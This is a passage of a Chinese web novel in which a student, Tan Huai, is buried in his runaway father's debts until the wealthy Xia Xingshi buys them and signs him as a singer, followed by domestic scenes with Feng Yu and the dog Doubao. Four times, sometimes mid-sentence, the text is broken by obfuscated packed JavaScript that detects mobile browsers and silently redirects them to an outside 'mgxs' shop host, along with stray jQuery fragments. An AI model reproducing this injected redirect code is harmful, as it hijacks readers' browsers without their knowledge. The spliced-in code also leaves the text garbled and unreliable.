;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109961|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好过日子”的债主。
谭淮刚想说什么,手机忽然响了,他露出几分歉意,轻声说:“抱歉,我接个电话。”
他接通电话,铃声戛然而止:“嗯嗯,叔,我在警局,我出去接你。”
他匆忙跑出去接人。
夏星时歪了下头。
谭淮的手机铃声是一首温柔的小曲,调子婉转动听,但声音才是点睛之笔。温和中透着一股子清冷,像是极北冰上的篝火,难以忘怀。
趁着还记得歌曲的旋律,夏星时轻哼着调子用软件识曲。
很遗憾,没搜到。
夏星时本打算离开的步子一转,安安稳稳的坐在谭淮刚才的位置上,从兜里拿出一根荔枝味棒棒糖塞进嘴里,视线落在对面墙的版画上。
说起来,今天他会来警局多一半的原因是因为自己那个梦。如果没有做梦,二叔和他爸聊天的时候他根本不会插嘴,到最后这个跑腿的活也落不到他身上。
不过就算来了,他对梦境的内容也不太在意。比起确认谭淮到底是不是他梦境的主人公,他更困扰于怎么才能恢复自己婴儿般的睡眠质量。
没一会儿谭淮接人回来,是个皮肤黝黑、满是生活雕琢痕迹的中年男人。谭淮带着人进里面提交材料,仅仅过了十分钟,俩人从里面出来。
夏星时依旧坐在椅子上等待,只不过动作变成了玩手机。
“叔想抽根烟。”中年人从兜里掏出一盒烟,声音嘶哑。
他说完话也没等谭淮回应,自顾自的走到警局外面,找了个墙根蹲下来,用打火机点燃香烟,深深吸了一口,用疲惫的眼神看向跟上来的谭淮。
谭淮垂着头,想要避开那灼烧心脏的视线。
“叔跟你说实话,当初给你爸担保,叔收了你爸两万块钱。”
“我姑娘还要钱治病,叔家里没钱了。”
中年汉子不再说话,只沉默着的吸着香烟,烟雾缭绕间透出他的满面愁容。
谭淮站在那,冷风吹拂,寒意侵身。他双眼空洞的看着升腾烟雾。
心里莫名有股气堵着。
一百万!你没钱你乱担保什么!三岁小孩都知道不要给别人担保!
他的火气才刚升起来,视线落在那夹着烟的粗糙手指上,凭空一盆凉水浇灭了他的火。
有那么一瞬间,谭淮恨自己居然是个有良心的人。
他要是个丧良心的人,这时候就该冷冰冰说——谁让你给他担保的?这笔钱他没用在家庭,我和我妈用不着还;又或者是我不继承我爸的遗产,自然也不继承他的债务,这事跟我和我妈没关系,你自己想办法去吧!
他爸抵押了家里的房子、车子,还有两张信用卡逾期,临走前还骗他|妈搞了小额贷套现了二十万!
这些都是影响征信的!
反而熟人债都能拖,甚至不还法律上也指摘不了他什么。
可是不行,良心不允许他这样做。
这一瞬间,谭淮心脏仿佛被委屈浸满,他想起了欠了一屁股债跑路的爸,想起这段时间一个个联系过来的他爸的兄弟们,还有银行的催债短信。
最终,谭淮想起大年初一掩面哭泣的妈妈。
谭淮垂着头,干巴巴说:“叔,我会尽力还钱。”
尽力,我只能尽力。
抽着烟的男人抬头看了他一眼,他手里的烟已经烧尽,眼瞅着就要烧到手了,他丢掉手里的烟,站起来,轻声应了一句:“哎,好。”
“那叔先走了。”
他迈步离开,背影萧索。也不知是信了还是没信。
“谭淮。”夏星时不知道在旁边站了多久,等人走了才出声。
谭淮身体僵了一下。莫名的,他并不想让夏星时看见这么狼狈的自己。
他深吸一口气,鼓起勇气看向夏星时,笑的很勉强:“抱歉,我……”
夏星时温柔的打断他:“刚刚的铃声,是你自己唱的吗?”
“是。”提起自己喜欢的音乐,谭淮眉宇间的沉郁稍稍散去。
“你有意卖版权吗?”
谭淮愣住:“嗯?”
“我代表东升娱乐,”夏星时递出一张名片,“游芳菲是我母亲。”
夏星时自顾自的说:“你目前的情况,单一的歌曲版权费用不足以解决你的困境。”
“我可以做主让公司帮你偿还所有欠款,代价是……”
他看向谭淮,语调轻缓——
“你大概得卖身给我了。”
4. 第 4 章
“谭同学?谭同学?”
耳边响起的声音,让谭淮被迫从回忆中抽身。
他回过神,抬头看向对面的男人,轻声说:“陈助理,我还是不想接受这份合约。”
陈助理皱了下眉:“是价格不满意吗,这方面我们可以再谈……”
他对谭淮的贪心升起几分不耐,但良好的工作素养让他很快调整好状态——反正又不是花他的钱。
谭淮打断陈助理:“跟价格没关系,也请陈助理以后不要再打扰我的生活。”
陈助理眼中闪过一丝意外,他听出对方没有讨价还价的意思只是在陈述结论。
他下意识调整姿势,下意识透出几分谈判的攻击性:“你家里那边还有催债的吧。”
陈助理对谭淮的状况非常了解。
“拖不是长久之计,窟窿放在那不去堵是平不了的。你现在能住宿舍,能把妈妈送到乡下,但以后呢?是,从法律意义上有些钱你可以不还,但是你爸临走前不是还用你娘俩的身份信息从平台套了笔钱么,还有信用卡、银行贷款。这些逾期就该影响你娘俩的征信了。”
他声音稍稍放缓:“你现在的情况是需要沈总这一笔钱的,不要拿自己的未来开玩笑。”
“沈总只是想听你说说话、唱唱歌。这钱就跟白拿一样,你不吃亏。”
至于会不会有更大的尺度,这都不好说,陈助理当然不会打什么包票。
谭淮垂眸看着眼前的咖啡,一声不吭。
陈助理见状明白今天很难再推进进度了,他叹了口气:“这样吧,你再好好考虑考虑,三个月内有想法随时联系我。”
陈助理叫来服务生结账,然后语重心长的对谭淮说:“现在这个时代,笑贫不笑娼,何况你只是出卖声音而已,像沈总这样的机会很难得的。”
他点到为止,并未多留,拿着公文包离开咖啡厅。陈助理走到路边停车位,拉开车门坐上驾驶位,点火暖车。
陈助理点了根烟,眉头不自觉的皱着:“之前态度有松动,怎么现在突然变了?而且精神状态似乎也好了点?”
说实话,在陈助理看来,沈总开的条件简直优渥到了极致,也就是他声音不像那位,不然真想自荐一波——五百万直接到账、协议期间每月三万的开销、一套二环自住的房子。
“唱唱歌说说话,就算交易期也只是要你随叫随到,连你谈恋爱都不管,等合约期到了该结婚结婚该生孩子生孩子呗。也就是象牙塔的小年轻还犹豫,进了社会就知道这是多大的馅饼了。”
尊严?上班就有尊严了?牛马和狗有区别吗?
噢,狗不用加班。
陈助理摇摇头,哂笑一声。
谭淮早晚会答应下来,这小同学的处境都不需要他们背后使劲儿,已经是死局了?真不差这几天。
他掐了烟,启动车子,正打算打方向盘出库,视线却忽然捕捉到什么,双眼猛然睁大,车子急刹。
不远处,夏星时拎着两杯奶茶从奶茶店走出来,他将其中一杯奶茶递给谭淮,两人有说有笑——主要是夏星时在说在笑。
夏星时边说边伸出手打车,没一会一辆出租车停在两人前方,两人上车离去。
“……不是,他怎么跟这位搭上线了?”陈助理吓得车子都熄火了。
“糟了糟了!”
救命!替身怎么可以和正主碰头啊!!!
陈助理在心里土拨鼠尖叫。
他重新启动车子,踩下油门慌忙掉头往公司赶。
.
东升娱乐26层,副总裁办公室。
初八开始是工作日,不过东升娱乐在初八到十八采用线上办公模式,虽然各个部门都有值班人员,但总部大楼还是略显冷清。
夏星时捧着温开水,看向紧张不安的谭淮,他拍了拍旁边的沙发:“坐下来歇会吧,咱俩到早了,还有的等呢。而且你是来签卖身契的,没必要这么着急。”
谭淮收回望向门口的视线,纠结着坐在夏星时旁边。
夏星时看出谭淮的不自在:“不要紧张,这只是一个已经确定下来的工作,今天就是来谈谈小细节,你有什么意见也别不好意思,到时候就直接跟慕姨提就行。”
谭淮小幅度点头,轻声说:“谢谢你给我机会。”
夏星时:“哎呀,别这么客气,是你唱歌好听,你是靠自己本事拿下工作机会的。”
谭淮:“嗯嗯。”
夏星时有点无奈:“算啦,你以后好好写歌,努力给我赚钱吧。”
他很喜欢昨天谭淮铃声的那首歌,但很遗憾,那首歌目前只有两段小调,还是个半成品。
谭淮看着夏星时,后者眉眼含笑眸光澄澈,神色带着几分漫不经心,明显只是随口说说,但谭淮的眼神却认真起来,他坚定地点了下头,轻声说:“好。”
仿佛忠诚骑士在向君主宣誓。
谭淮能那么干脆的拒绝陈助理,当然不是因为所谓的骨气,骨气在现实面前不堪一击,昨天他甚至已经决定应下那份毫无法律效应的替身合约。
但夏星时来了。
他霸道的买下了谭淮的所有债务。
强大的律师团队一个晚上汇总了所有信息,将那些个人债务和正规银行贷款全部还清,一些有争议的,例如高利贷和担保类,还在持续推进。
在谭淮还晕的时候,他的债主只剩下夏星时了。
夏星时:“堵你家里那几个人走了吧。”
谭淮点头:“昨天下午李律师过来交涉后就走了,不过李律说我家的房子大概率留不下来。”
他爸跑路的消息透露出去后,高利贷那边就派人堵门了,文明催债啥都不干,就是每天早上六点三个大汉准时到他家门口敲门,等开门就往屋里一坐,到点该吃饭了就叫外卖,然后凌晨十二点准时离开,警察过来人家就说是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109962|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爸的朋友,而且即便带走也只能思想教育,没十分钟第二批就来了,治标不治本。
谭淮实在没办法,只能把妈妈送回乡下老家避难。
“房子的主要功能就是住,等你签约之后会给你分个单人宿舍啦。”夏星时宽慰一句。
夏星时不担心那些高利贷,夏氏强大的律师团队会搞定一切。
两人有一搭没一搭的聊着,谭淮情绪缓解很多,没有之前那么紧绷,夏星时才抽空鼓捣一会儿手机。
为了给谭淮填窟窿,他小金库的流动资金财政有点赤字。
你不理财财不理你,你若理财财离开你。钱不会消失,它只是流到了其他人手里。
好消息,夏星时用于理财的钱不多;坏消息,夏星时用于理财的钱不多。
小夏久违感受到了贫穷。
好在他不创业,大额开销也有人报销。
夏星时庆幸的是自己的小金库能摆平谭淮的欠款,不然就要动用其他金库了。
倒不是说不行,主要是其他资金链有家长监控,他爸要是知道他只是过来“签到见世面”却付出了两百万+的学费,怕不是会给他讲八小时道理。
从“我以前都没吃过富强白面”讲到“我哪有你这条件”、从忆苦思甜讲到人生哲理,最后狠狠批判当代年轻人的奢靡之风!
夏星时绝不给爸爸说教自己的机会!
当然,夏星时也不觉得这事能瞒多久,毕竟谭淮是签在他母亲名下的公司。
夏星时想了一下,按道理来说,就算谭淮是他介绍进来的,妈应该也不会和爸聊谭淮这种没什么名气的小员工,除非谭淮忽然爆火商业价值直线提升。
不过火不火这种事除了实力以外,还需要那么点运气,就算运气好能火也不是今年的事。扛过今年,他从大哥二姐那边补一补小金库,这事就过去了。
问题不大。
夏星时暗自点头,觉得稳了。
高跟鞋踏地的声音忽然响起,夏星时放下手机,探头往玻璃门外看,一名穿着咖色风衣化着精致妆容的高挑女人朝办公室这边走。
女人推开玻璃门,单手插兜,锐利的眼神投在夏星时身上。她保养的很好,气色极佳,妆容精致但并不厚重,没有过度去遮掩岁月在她身上留下的痕迹,生活的阅历让她整个人显得沉稳、大气、可靠。
“啊……慕姨。”小夏站起来。
慕姨颔首,刚要说话,就听夏星时幽幽说:“姨,冷吧,手都冻红了。”
慕姨插在兜里的手偷偷往里伸了伸。
“姨,就地下车库到楼上这一段路,你也要特意换上高跟鞋和风衣啊?”小夏叹气,“平时就算了,今天楼里中央空调都没开,楼里不暖和的,小心老寒腿啊。”
慕姨:“……办公室有空调你怎么不开?”
夏星时穿着羽绒服眨了眨眼睛:“我不冷。”
慕姨:……
5. 第 5 章
夏星时:“开玩笑的啦ovo。”
“这屋里空调坏了,我已经提前把会议室空调开开了,怕姨找不到我所以在这儿等着。”
慕姨用没插兜的那只手轻轻推了下鼻梁上的红色镜框,表示满意。
夏星时接着说:“不过空调应该没有暖气暖和,姨你一会换上我带的那双棉鞋哈,还有,屋里其他东西是我妈让我给你带过来的茶叶和干货。”
慕姨:“行,你走吧。”
夏星时没动,眼睛眨巴两下。
“你不能旁听,”慕姨转身出门,然后补了一句,“你妈说的。”
“那好吧,”夏星时并不意外,“看来我只能回家喂狗了。”
小夏恋恋不舍,一步三回头,最终也没等到慕姨的挽留,背影充满沉痛。
慕姨应该不会欺负我的小百灵吧。
慕姨带着谭淮来到一号会议室。
屋里提前开了空调,寒意瞬间被驱散。
会议室桌子上放着一条叠好的珊瑚绒的小毯子,还有三四个礼品袋和一个大飞机盒。其中一个椅子的椅背上挂着一条灰色的披肩。
她将礼品袋拿下去放到旁边的座位上,拆开飞机盒,将里面的粉色棉拖鞋拿出来。
——夏星时说的棉鞋原来是一双棉拖鞋。
谭淮跟关上门,略显局促的站在门口。
苏慕她换上棉拖,盖好小毯子,披上披肩,朝谭淮说:“坐吧。”
这样一副居家的造型,让这场本该严肃的谈话走向温和。
.
夏星时回家后给敬爱的母上大人发了个【亲亲】的表情包。
[四月芳菲]:钱还够花吗?
真是铺面而来的炽热母爱呀!
[星时]:够,我不创业![叉腰.jpg]
[四月芳菲]:哈哈哈哈。
母亲大人发来一个卡通小孩笑的露出扁桃体的表情包。
[四月芳菲]:你那个小朋友需不需要妈妈给几个资源啊?
[星时]:不用,顺其自然吧,先让他把我喜欢的那首歌写好吧。
夏星时略有心虚,妈妈只是大概了解谭淮父亲欠债,而他花钱买下谭淮的债务,但并不知道谭淮家里究竟欠了多少钱。
游女士也许猜到不是笔小数目,但不可能想到夏星时居然一下子掏空了自己的一号小金库,而且这钱还没还完呢。
夏星时岔开话题,给妈妈拍了几张豆包的照片,随便聊了点别的结束了本次聊天。
夏星时放下手机,带着豆包出去遛一圈。
大型犬精力旺盛,白天不遛晚上拆家。为了这个家他必须和豆包出去玩。
夏星时遛完狗后立刻扎入厨房。
昨天为了尽快解决谭淮的事,他回家有点晚,说好的给封煜大露一手,也变成了小露一手。小夏觉得昨天那顿黑椒牛柳和鸡蛋柿子根本没有展现出出他的厨艺。
今天时间充分,夏星时当然不能放过机会。
他要做一道冬日必吃下饭菜——小鸡蘑菇炖粉条!
众所周知,做饭最艰难的不是“做”,而是“备菜”。
夏星时从一个白色泡沫箱里拿出一包干榛蘑,倒出榛蘑平摊在台面上,拿出厨房剪刀对榛蘑进行去根处理,一根一根,既要细心又要耐心,忙了大半个小时也就弄出一小盆的量。
处理好的榛蘑干用流水淘洗几遍,洗干净后立刻攥干水分放到一旁备用。
接下来是小笨鸡,剁大块、去内脏、焯水焯透。
做完前置的准备工作终于来到了正式的做饭程序。
洗好焯水的铁锅,热锅凉油下葱姜花椒大料干辣椒等调料煸香,然后下鸡肉和盐,等水分炒干后将处理好的蘑菇下锅,最后调味加开水炖煮,接下来只要守锅就好了。
等待的过程中,夏星时先把乱糟糟的台面收拾干净,然后蹲在方才拿出榛蘑的泡沫箱前。
这里面都是游女士给夏星时寄过来的食材,除了榛蘑和小笨鸡之外,还有什么干豆角、干土豆,以及夏爸亲手做的八种馅的元宵。一起来的还有一箱砂糖橘和夏星时的换洗衣服。
妈妈的溺爱只是一方面,主要还是家里吃不完了。
昨天夏星时没时间收拾,只做了简单的分类,这会儿正好整理整理。
大约十分钟后——
夏星时叉腰看着台面上的两根新鲜的带花大黄瓜、五枚西红柿、一包铁棍山药,以及一罐自制辣椒油,眼中写满了困惑——
“怎么越收拾越多啊!”
.
冬日的夜晚来的早,五点左右外面就彻底暗了,连带着还起了风。
“咔哒——”
房门打开,凛冽的寒风从门里钻进来。
“下班啦,”夏星时从厨房探出头来,“马上就开饭!”
“碰——”门被关上,风声与寒冷都被隔绝在外。
封煜脱下外衣,走到厨房:“今天怎么做这么多?”
他洗好手,顺便把台面上的凉菜端出去。
蓝莓山药、火山飘雪还有一盘拍黄瓜。
夏星时边说边关火:“昨天有点事,没能好好招待哥,今天肯定要补上呀。”
砂锅里的小鸡炖蘑菇香味十足,光闻着就让人食指大动。
刚离火的大砂锅温度高不好转移,夏星时打开橱柜去拿隔热手套。
封煜自然的接过手套:“我来吧。”
夏星时也不客气,:“那辛苦啦,我去盛饭。”
夏星时盛好饭,又从冰箱里拿出早就准备好的大瓶冰镇可乐,一人一杯。
黑色小饮料在玻璃杯里冒着代表快乐的小气泡。
“开饭开饭开饭。”夏星时动筷子了。
考虑到封哥是个i人,小夏贴心的没有进行任何饭桌演讲。
不过碰杯还是要碰的!
“干杯,敬豆包!”夏星时举起可乐杯一饮而尽,相当豪气。
封煜犹豫再三也举起可乐杯:“……敬豆包。”
明明年纪只差了两岁,但稳重的封总表示他已经不懂现在的年轻人了。
封煜没忍住说:“感觉你今天很开心。”
夏星时愣了一下:“这么明显吗?”
“是有点开心的小事啦,”夏星时吃了一口粉条,双眼发亮,“我找到了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109963|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个很好听的声音。”
封煜眼神闪烁。
所以,是找到新玩具了?
他是不是该感谢一下那位不知名的玩具吸引了夏星时的注意?
夏星时眉头微皱:“不过他现在状态不是很好,他爸欠钱跑了,虽然我帮他还清了债务,但他是那种责任心比较强的人,肯定想着还我钱的,可是那笔钱对于他来说太多了,一时半会挣不回来呀……”
夏星时:“他现在这种状态,很难把那首歌写完吧。搞艺术的太吃状态了。”
他是真的很喜欢谭淮那首没完成的歌。
“哎,希望他尽快走出来吧。”夏星时长叹一声。
封煜眼底生出几分古怪。
好熟悉的情节。
封煜大概知道是怎么回事了。
说实话,封煜不能理解怎么会有人为了谈恋爱搞出那么多事。
有时间多去学习工作不好吗?
感情这种东西,又不是生活的必需品,把这种东西当成生命的重心,完全是在浪费生命。
不过稳重的封总尊重生命多样性。
无数念头一闪而过,封煜抓住重点——新玩具应该是“替身”。
夏星时有新玩具了。
这个结论让封煜很不舒服,
夏星时没注意封煜走神:“诶,哥你夹菜呀,别客气。”
对于自己的手艺夏星时还是很自信的,而且小鸡炖蘑菇这道菜考验的主要是食材,也就是榛蘑的鲜度,只要榛蘑品质过得去,这菜就难吃不了。
封煜扯了下嘴角:“很好吃,我很喜欢。”
夏星时心想果然美食时拉进距离的良药!区区社恐i人我略施手段就成功拿下!
然而就在小夏怀着美滋滋的心情打算夹一筷子干蘑菇时,一只可爱的小黑爪伸到桌子上,试图划拉一块美味的鸡骨头。
夏星时余光扫到这一幕,眼皮狂跳,惊呼一声:“豆包!”
“汪?”豆包可爱探出头,大大的眼睛中写满了无辜。
夏星时指着豆包,手指颤抖:“你你你怎么没在阳台?!”
豆包歪头。
夏星时腾地起身,视线转向阳台,只见阳台的透明拉门此刻大大咧咧的敞开着。
“遭了!!!”夏星时脑子飞速运转,记忆来到他遛弯豆包把豆包放在阳台后的片段上。
他好像、的确、真的少了一个锁门的步骤!
“快!哥!快回屋看看被子!豆包有尿床前科!!”
来不及多说什么,夏星时一把抱起豆包,把可爱小狗塞回阳台,并迅速转向到客房。
主卧二姐的房间是锁着的问题不大,但客房……
夏星时站在床边,看着被子上的尿渍地图,沉默无言。
坏消息,豆包尿了;好消息,只尿了封煜的床。
“是我大意了。”夏星时语气沉痛。
封煜看着被子,眼底却闪过一丝“果然如此”!
“封哥,看来今天只能委屈你跟我一起睡了。”夏星时转头看向封煜。
封煜:果然如此!
就算有了新玩具,也没打算放过我啊。
6. 第 6 章
天还未亮,良好的生物钟唤醒了封煜。
他睁开眼,尚有几分迷茫。
属于第二个人的呼吸声在静谧的夜里无法忽视。
身旁传来的温度让封煜迅速清醒过来。
这一觉,他睡的意外……还行。
这种情况的第一要素是他适应力不错,第二嘛勉强是夏星时还算睡觉老实。
封煜掀开被子离开被窝,他拿起放在枕边的手机,悄无声息地打开房门,关门前他的视线不经意间扫过睡姿乖巧又规矩的夏星时。
离开卧室,他径直来到天台,这里是豆包的地盘。
小狗敏锐的察觉到脚步声,耳朵微微一动,狗头微微抬起,睁开清澈的眼睛。
豆包看见门外的人委屈地哼唧了一声,把头埋进爪子里,一副生无可恋的模样。
豆包:这大早上的也太晦气了!重来重来!
封煜拉开门,端着狗碗蹲在狗窝前,他伸手摸了摸狗头,语气轻缓:“豆包。”
豆包哼哼唧唧放下爪子,睁开清澈的眼睛。
封煜:“你最近有些嚣张了。”
豆包是一条很会狗仗人势的狗狗,夏星时没回来前,狗子面对封煜甚至不敢在家里大声叫,但现在给它一个机会,它就敢尿在封煜床上!
封煜没打算跟这条狗一般见识,他只希望平静地度过最后一天。
他不想引起夏星时的兴趣。
夏星时像一只恶劣的猫咪,捕捉猎物只是为了玩弄猎物,如果被当做有趣的猎物,一定很麻烦。
但好在,更有趣的猎物已经出现在夏星时面前了——那位好心的主角。
一场追逐赛,不需要成为第一名,只需要比最后一名稍微快一点就不会被抓住。
只差最后一步,他就能平静的离开夏星时的视线,不跟梦里麻烦事扯上关系。
“你乖一点,晚上给你带新玩具。不说话我就当你答应了。”封煜说完,一本正经地放下狗碗。
似乎只要豆包吃一口,这场交易就生效了。
豆包歪了下头。
唧唧歪歪说啥呢?不过既然你来看小狗,小狗就给你个面子吧!
豆包支起前身,作势要往封煜身上靠。
封煜猛地站起,并迅速后退一步和豆包拉开距离。
豆包:嗯?!!
豆包那黑葡萄一样的大眼睛涌上一阵委屈。
你后退半步的动作是认真的吗?!嗯?!
豆包缩进窝里,再次用爪子盖住眼睛。
不吃了!
.
美美一觉睡醒,夏星时精神抖擞。
对于身边已经没人这件事他毫不意外。
虽然在大学生里他已经足够自律,但以打工人角度来看他就是个弟弟。
夏星时路过客厅,看见天台房里的豆包正贴着门摇尾巴,他开门进去。
“嘿嘿,乖宝宝!”夏星时怪笑一声,对可爱的小狗上下其手。
他没有错,他只是做了每一个变态主人都会做的事情!
豆包喜欢被摸,于是尾巴摇的更欢了,它把半个身体塞进夏星时怀里用舌头舔后者的脸,顺便把早上受的委屈发泄干净。
夏星时盘腿坐在地上,试图控制一下豆包:“哎呀,今天好热情呀。”
豆包汪了一声。
小狗今天可受委屈了!早上那个人类根本就不爱小狗!伤透了小狗的心!
小夏同志没有辅修狗语这门科目,读不懂豆包的心。
夏星时:“哦~是不是想封煜哥哥了?”
好消息,豆包也听不懂人话。
“汪汪汪!”他不爱小狗,小狗以后不给他摸!
夏星时:“好好好,对对对!”
一人一狗,频道不同,但交流顺畅且愉快。
夏星时:“封煜哥哥过年留在这里陪着小豆包照顾小豆包,小豆包是不是很想感谢封煜哥哥呀!”
豆包:“汪!”
夏星时面色一喜:“果然,我们豆包是天使狗狗!”
夏星时抓着豆包的两只前爪,一脸认真:“今天是封煜哥哥的生日,然后明天呢封煜哥哥就要离开我们家了,所以今天豆包要好好表现哦。”
起码不能再随便乱尿了!
夏星时之前误会封煜会在二姐家留到元宵节以后,完全是因为二姐给他派任务的时候提了一嘴“莉姐的好心表弟”的生日在元宵节当天。
“好心表弟”在过年期间帮忙照顾狗狗虽然是二姐委托莉姐然后莉姐再外包出去的,但作为最终委托方什么都不表示显然说不过去。
谈钱的话,以二姐和莉姐的闺蜜关系就显得过于俗气了。
最重要的是,根据莉姐的说法,封煜哥父母双亡,身世凄苦。
夏星时理所当然的以为二姐让他回来是来打感情牌的。
直到封煜表示“你回来我就走”,夏星时才明白自己也许、好像、大概是想多了,嘿嘿。
“没关系的,信息在流通过程中难免出现一些无伤大雅的偏移,只要结果没问题,我就没错。”夏星时对豆包说,“况且这事显然是二姐太不懂人情世故了,对吧豆包~”
“汪唔!”
“我先去吃个早饭,然后再带你出去玩。”夏星时最后揉搓豆包狗头一下,施施然离开狗房。
身为一个有仪式感的人类,在元宵节当天肯定是要煮几个元宵的。
尤其是在冰箱里还有五六斤元宵的情况下,消耗元宵作战行动已经刻不容缓!
冷冻第二层是夏星时放置元宵的地方,这里面的元宵分为两袋,一袋是传统黑芝麻馅,另一袋是黑芝麻以外的馅。
例:哈密瓜、巧克力、草莓、榴莲等……
夏星时沉重地看着冰箱里的元宵,最终将手伸到“另一袋”。
他不是不爱吃黑芝麻的哦,只是有一点点偏爱这些异端水果馅。况且……
“过节嘛,开个盲盒很正常吧。”
夏星时成功说服了自己。
美美品尝完异端元宵后,夏星时便带着豆包出门了。
夏星时出门后发现小区里的人比平常要多,他拿出手机扫了眼,明天才是周末呀。而且大家怎么都往东门走?正门在南边呀。
不等夏星时发挥自己的社交本领,一名头发花白、气质儒雅的老大爷走近:“小豆包今天这么早就出门了呀。”
老大爷手里同样牵着一只狗,是条小柯基,走起路来屁股一抖一抖的。
狗圈,未必认识主人,但一定认识狗。
豆包居高临下地看了眼短腿柯基。
呵,小短腿~
“豆包真精神呀!”大爷先夸夸豆包,然后才看向夏星时,“呦,小伙子长得真俊,多大了,处对象没。”
过年buff尚有余威,夏星时防不胜防。
不过夏星时完全没在怕的,开口就是:“爷爷我有婚约了。”
出门在外,身份都是自己给的。
大爷:“前几天带豆包出来玩那小伙子也有婚约。”
夏星时眨眨眼睛。
真没想到,封哥看着那么正经的一个人,居然也会胡说八道。
嗯……如果是封哥的话,应该看起来特别有可信度吧。
大爷摇摇头接着说:“太传统了,我还是比较提倡自由恋爱滴。”
夏星时比了个大拇指:“爷爷您真开明。”
不等大爷开口,夏星时赶忙问:“爷爷,我看大家都往东门走,今天外面有活动啊?”
“哎呦!”老张一拍大腿,“耽误事了么这不,赶紧走,东门药房今天做元宵活动,猜灯谜送鸡蛋!”
老张牵着柯基,步履生风,看着可比废物大学生健康多了。
夏星时被老头昂扬的气氛感染,一路跟到了东门。
还没出小区就能看见药房门口人头涌动,里三层外三层,围得水泄不通。
药房大音箱重复播放语音:【元宵庆典,猜灯谜免费领鸡蛋!元宵节大酬宾,三倍积分,特定药品九折促销!】
夏星时倒吸了一口凉气,为全球变暖做出贡献。
药品打折促销,不知是哪位商业鬼才想出来的好点子。细思一下多少有点地狱。
夏星时没去领鸡蛋(划掉)猜灯谜。
参加活动的人太多,还有相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109964|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当一部分带着孩子,夏星时牵着豆包根本不敢往队伍那边凑。毕竟连版本T1的老头都只是把柯基放在了保安亭。
况且夏星时也还没到对免费鸡蛋感兴趣的年纪。
夏星时的目光落在了街边的餐饮小车上。
二姐家小区离第三中学只有三公里,从前这些餐饮小车车都是直奔三中,从不会给周边小区一点眼神,今天居然不约而同齐聚于此。
夏星时猜测药店的活动应该是先在自己的私域做了一定的宣传,然后再由老人进行自发宣传,而这些流动小车向来消息灵通,自然不会错过商机!
此时,几个小车摊位前已经聚集了一群人。
夏星时锁定了不远处贴着“煎饼果子烤冷面”的小车。
很好,就是你了!
虽然已经吃过早餐,但年轻小伙子消化能力好,区区一份烤冷面也不过是饭后小点心罢了。
夏星时走到小车边,不等他开口,老板似有所觉抬起头来,手下操作不停,乐呵呵问:“小伙子吃啥?”
“一份烤冷面,两个蛋,多糖多醋,多钱?”
“八块。”
只有校门口的流动小车才能做到这种实惠的价格!
夏星时扫码付款,排队等候。
老板的铁板一次性能做三份烤冷面,夏星时前面还有六个人,至少也是第三批才能到他。
等待的过程中夏星时掏出手机瞎扒拉,忽然,手机震动,是一条微信消息。
[袁佛爷]:在下掐指一算,老四你在B市。
夏星时惊了。
网名袁佛爷的这位哥是他寝室长,本名袁易,平时比较迷信,对紫微斗数、八字、六爻还有星座、塔罗都有涉猎,主打一个中西两开花。基本就是哪个说好话信哪个。
[星时]:???
难不成佛爷真有点东西?夏星时肃然起敬。
一只手无声地搭在夏星时肩膀上。
夏星时转头,看见了袁易本人。
袁易:“嗨嗨嗨!”
夏星时:失望.jpg
居然不是算的。
夏星时:“你怎么在这?”
袁易叹气:“陪我爷来领鸡蛋。”
袁易是个一米九的壮汉,脂包肌,面相带笑,慈眉善目,耳垂厚且大,有种佛气。
这会儿他叹气忧伤,那种与生俱来的悲天悯人感扑面而来。
夏星时有种喊大师渡我的冲动。
好在,他深知冲动是魔鬼。
“等等,我记得你爷家在东城?”夏星时有点不自信地问。
“你没记错。但区区二十公里,怎能拦住领免费鸡蛋的脚步?”袁佛爷微微一笑,四十五度望天,仿若大彻大悟,“不就是假期六点半起床,辗转地铁一小时,然后在没开门的药店门前开始排队吗,都特么基操!阿弥陀佛。”
夏星时恍然:“六点半,你还没睡吧。”
袁易叉腰:“没错,通宵战神正是在下!”
早起他或许不行,但通宵他还没怕过谁!
